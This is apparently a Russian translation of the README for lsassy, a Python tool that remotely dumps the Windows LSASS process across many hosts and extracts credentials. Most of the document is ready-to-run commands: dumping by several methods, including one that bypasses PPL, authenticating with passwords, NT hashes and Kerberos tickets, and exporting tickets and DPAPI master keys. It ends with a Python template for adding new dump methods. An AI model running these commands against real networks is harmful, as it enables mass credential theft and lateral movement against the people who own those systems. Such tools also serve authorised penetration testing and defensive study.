
Извлекать учетные данные из lsass удаленно
Python-инструмент для удалённого извлечения учётных данных на наборе хостов. В этом посте в блоге объясняется, как это работает.
Этот инструмент использует проект impacket для удалённого чтения необходимых байтов из дампа lsass и pypykatz для извлечения учётных данных.
| Главы | Описание |
|---|
| Предупреждение | Перед использованием этого инструмента прочтите это |
| Установка | Установка lsassy |
| Базовое использование | Базовое использование lsassy |
| Расширенное использование | Расширенное использование lsassy с пояснением параметров |
| Добавление метода дампа | Как добавить пользовательский метод дампа lsass |
| Благодарности | Благодарности этим людям и инструментам |
| Официальный Discord | Официальный сервер Discord |
Хотя я приложил все усилия, чтобы сделать инструмент стабильным, при возникновении ошибок могут остаться следы.
Этот инструмент может либо оставить некоторые дампы lsass, если не удалось их удалить (хотя он очень старается это сделать), либо оставить запланированную задачу, если не удалось её удалить. Этого не должно происходить, но может. Теперь вы знаете, используйте с осторожностью.
lsassy работает с python >= 3.7
python3 -m pip install lsassy
python3 setup.py install
lsassy работает «из коробки» с несколькими целями (IP, диапазоны, CIDR, имена хостов, FQDN, файлы со списком целей)
lsassy [-d domain] -u pixis -p P4ssw0rd targets
lsassy [-d domain] -u pixis -H [LM:]NT targets
По умолчанию lsassy попытается удалённо выполнить дамп lsass с помощью метода comsvcs.dll либо через WMI, либо через удалённую запланированную задачу.
lsassy может аутентифицироваться с помощью Kerberos. Для этого требуется действительный TGT в переменной окружения KRB5CCNAME. См. расширенное использование для получения дополнительных сведений.
lsassy -k targets
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10
В lsassy реализованы различные методы дампа lsass, а также предоставлены некоторые опции, дающие пользователю контроль над тем, как будет работать инструмент.
lsassy разделён на модули
+-----------+
| Writer |
+-----+-----+
|
|
+----------+ +-----+-----+ +---------+
| Parser |------| Core |----| Session |
+----------+ +-----+-----+ +---------+
|
|
+-----------+
| Dump |-+
| Methods | |-+ +----------+
+-----+-----+ | |----| File |
+-----------+ | +----------+
+------------+
|
|
+-----------+
| Exec |-+
| Methods | |-+
+-----+-----+ | |
+-----------+ |
+------------+
Этот модуль является оркестратором. Он создаёт класс lsassy с переданными аргументами и опциями, а затем вызывает различные модули для получения учётных данных.
Этот модуль используется для ведения журнала.
Это слой, построенный поверх Impacket, который ведёт себя как встроенный файловый объект Python. Он переопределяет методы, такие как open, read, seek или close.
Этот модуль содержит всю логику дампа. В зависимости от используемого метода он выполняет код на удалённом хосте для дампа lsass с помощью выбранного метода.
Этот модуль использует pypykatz и модуль файла lsassy для удалённого разбора дампа lsass.
Этот модуль отвечает за вывод результатов — либо на экран в разных форматах, либо за запись результатов в файл.
Этот инструмент может выполнять дамп lsass различными способами.
Методы дампа (-m или --method):
Этот метод использует только встроенные файлы Windows для удалённого извлечения учётных данных. Он использует функцию minidump из comsvcs.dll для дампа процесса lsass.
Этот метод загружает procdump.exe из SysInternals для дампа процесса lsass.
Этот метод загружает dumpert.exe или dumpert.dll из outflanknl для дампа процесса lsass с использованием системных вызовов.
Этот метод загружает NativeDump.exe из ricardojoserf для дампа процесса lsass, используя только NTAPI.
Этот метод загружает ppldump.exe из itm4n для дампа процесса lsass и обхода PPL.
Этот метод загружает Mirrordump.exe из Ccob для дампа lsass с использованием уже открытого дескриптора к lsass через LSA-плагин.
Этот метод использует технику WER, применяемую в PowerSploit.
Для некоторых методов дампа требуются опции, например путь к procdump или dumpert. Эти опции можно задать с помощью --options или -O со списком опций, разделённых запятыми, в формате ключ=значение.
... --options key=value,foo=bar
Например:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll -O dumpertdll_path=/opt/dumpert.dll
Вы можете выбрать разбор уже созданного дампа lsass, указав параметр --parse-only вместе с параметрами --dump-path и --dump-name.
Обратите внимание: при выборе этого метода удалённый дамп lsass не будет удалён.
Например:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --parse-only --dump-path "/Windows/Temp" --dump-name "lsass.dmp"
Если вы не хотите, чтобы дамп автоматически удалялся после выполнения lsassy, используйте --keep-dump.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dump
Билеты Kerberos будут извлечены и сохранены в $HOME/.config/lsassy/tickets в формате ccache. Вы можете указать каталог вывода с помощью параметра -K [каталог] или --kerberos-dir [каталог]. Если указанный каталог не существует, инструмент попытается создать его перед сохранением билетов.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -K '/tmp/kerberos_tickets'
Мастер-ключи DPAPI будут извлечены и сохранены в $HOME/.config/lsassy/masterkeys.txt в формате {GUID}:SHA1. Вы можете указать путь к файлу мастер-ключей с помощью параметра -M [путь] или --masterkeys-file [путь]. Если указанный файл не существует, инструмент попытается создать его, а затем записать в него.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -M '/tmp/keys.txt'
Существует три различных способа аутентификации на удалённых целях с помощью lsassy. Единственное требование — пользователь должен иметь права локального администратора на удалённых целях.
Первый и самый очевидный способ — использование учётных данных в открытом виде. Это может быть как локальный, так и доменный пользователь.
## Локальный пользователь
lsassy -u pixis -p P4ssw0rd server01.hackn.lab
## Доменный пользователь
lsassy -d hackn.lab -u jsnow -p WinterIsComing server01.hackn.lab
Также возможна аутентификация с использованием NT-хэша пользователя. Вы можете указать как LM:NT, так и только NT.
lsassy -d hackn.lab -u jsnow -H 38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
aad3b435b51404eeaad3b435b51404ee
## Или
lsassy -d hackn.lab -u jsnow -H aad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
Вы также можете аутентифицироваться с помощью Kerberos. Для этого у вас должен быть действительный билет, сохранённый на диске, и путь к билету должен быть указан в переменной окружения KRB5CCNAME. Для тестирования это можно сделать с помощью инструмента impacket getTGT.py.
getTGT.py hackn.lab/jsnow:WinterIsComing -dc-ip dc01.hackn.lab
Эта команда запросит TGT и сохранит его в файл jsnow.ccache.
Чтобы lsassy знал, какой билет использовать, необходимо явно указать путь к билету в переменной окружения KRB5CCNAME.
export KRB5CCNAME="/home/pixis/jsnow.ccache"
После правильной настройки вы сможете использовать этот билет для аутентификации с помощью параметра -k. Поскольку вы используете этот билет, вам больше не нужно указывать другие данные аутентификации.
lsassy -k server01.hackn.lab
Обратите внимание: для этого потребуется корректная конфигурация DNS — либо динамическая с действительным DNS-сервером, либо статическая с использованием файла hosts. Кроме того, при генерации билетов и использовании lsassy всегда следует использовать FQDN, например server01.hackn.lab вместо server01.
lsassy может выводить учётные данные в различных форматах с помощью флага --format или -f.
Формат по умолчанию, красиво и чисто отображаются учётные данные золотыми цветами. In credz we trust.
lsassy [-d domain] -u pixis -p P4ssw0rd --format pretty targets
Выводит результат в формате JSON. Может быть полезно при вызове из скрипта.
lsassy [-d domain] -u pixis -p P4ssw0rd --format json targets
Вывод, пригодный для grep, может быть полезен в однострочных командах.
lsassy [-d domain] -u pixis -p P4ssw0rd --format grep targets
Не отображает результат. Полезно при использовании --outfile.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format none
Сохраняет результат в пригодном для grep формате в указанный файл (--outfile или -o).
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format json --outfile /tmp/credentials.txt
Если вы хотите получить только учётные данные пользователей, исключив учётные данные компьютеров, используйте флаг --users.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --users
Если вы не хотите экспортировать билеты, используйте флаг --no-tickets.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-tickets
Если вы не хотите экспортировать мастер-ключи, используйте флаг --no-masterkeys.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-masterkeys
Вы можете задать количество потоков [1-256] с помощью параметра --threads.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --threads 32
В каталоге dumpmethod находится файл dummy.py.tpl. Этот файл содержит базовую структуру для создания нового функционала метода дампа.
Этот метод обязателен, так как именно он будет использоваться для выполнения кода на удалённом хосте с целью тем или иным способом выполнить дамп lsass. Он должен возвращать словарь с двумя элементами: cmd и pwsh.
cmd — команда, понятная утилите cmd.exe. pwsh — команда, понятная PowerShell (в большинстве случаев команда cmd также действительна в PowerShell).
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
Существует класс Dependency, который можно использовать для лёгкой загрузки файлов, необходимых для метода дампа, например procdump.exe из Sysinternals. Могут быть использованы два метода:
prepare_dependencies — проверяет, были ли предоставлены все параметры пользователем для локального поиска файла на диске пользователя и его загрузки, а затем фактически загружает файл.clean_dependencies — пытается удалить загруженные файлы.Этот метод будет вызван до выполнения команд, предоставленных get_commands. Может использоваться для загрузки файлов или проверки чего-либо.
Этот метод будет вызван после выполнения команд, предоставленных get_commands. Может использоваться для удаления загруженных файлов или очистки чего-либо.
Вот пример с procdump с некоторыми комментариями.
from lsassy.dumpmethod import IDumpMethod, Dependency
class DumpMethod(IDumpMethod):
"""
If your dumping method cannot produce a dumpfile with a custom dumpfile name, you must set this setting to False
and uncomment 'dump_name' to provide expected dumpfile name on remote system.
"""
custom_dump_name_support = True # Default: True
# dump_name = "" # Default: Random dumpfile name
"""
If your dumping method cannot produce a dumpfile in a custom directory, you must set this setting to False
and uncomment 'dump_share' and 'dump_path' to provide expected dumpfile location on remote system.
If your dumping tool can have a custom dump name but not a custom dump extension, provide the dump extension in dump_ext variable
In this example, procdump.exe will produce a dump wherever we want, with a name we choose, but will always add a .dmp extension.
"""
custom_dump_path_support = True # Default: True
# dump_share = "" # Default: "C$"
# dump_path = "" # Default: "\\Windows\\Temp\\"
dump_ext = "dmp"
def __init__(self, session, timeout):
"""
__init__ is overloaded to create some instance variables
"""
super().__init__(session, timeout)
"""
This module requires procdump.exe to be uploaded on the remote server before being executed.
So we add procdump as a Dependency. First argument is a name for our dependency (can be arbitrary),
and second argument is default executable name on local user's disk.
"""
self.procdump = Dependency("procdump", "procdump.exe")
def prepare(self, options):
"""
Prepare method is overloaded so that we are able to
- check if mandatory parameters are provided
- upload procdump on the remote host.
All this can be done using prepare_dependencies method from our Dependency object
"""
return self.prepare_dependencies(options, [self.procdump])
def clean(self):
"""
Clean method is overloaded so that we are able to delete our dependency if it was uploaded
The clean_dependencies method will do this for us.
"""
self.clean_dependencies([self.procdump])
def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
"""
get_commands method is overloaded as it is mandatory.
Two different ways of dumping lsass with cmd.exe and powershell are provided and returned.
The get_remote_path method of our Dependency object is used to get the correct remote path
of procdump on our target.
"""
cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {} -accepteula -o -ma %J {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
pwsh_command = """{} -accepteula -o -ma (Get-Process lsass).Id {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
Вы можете проверить dummy-класс для дополнительных комментариев и информации.
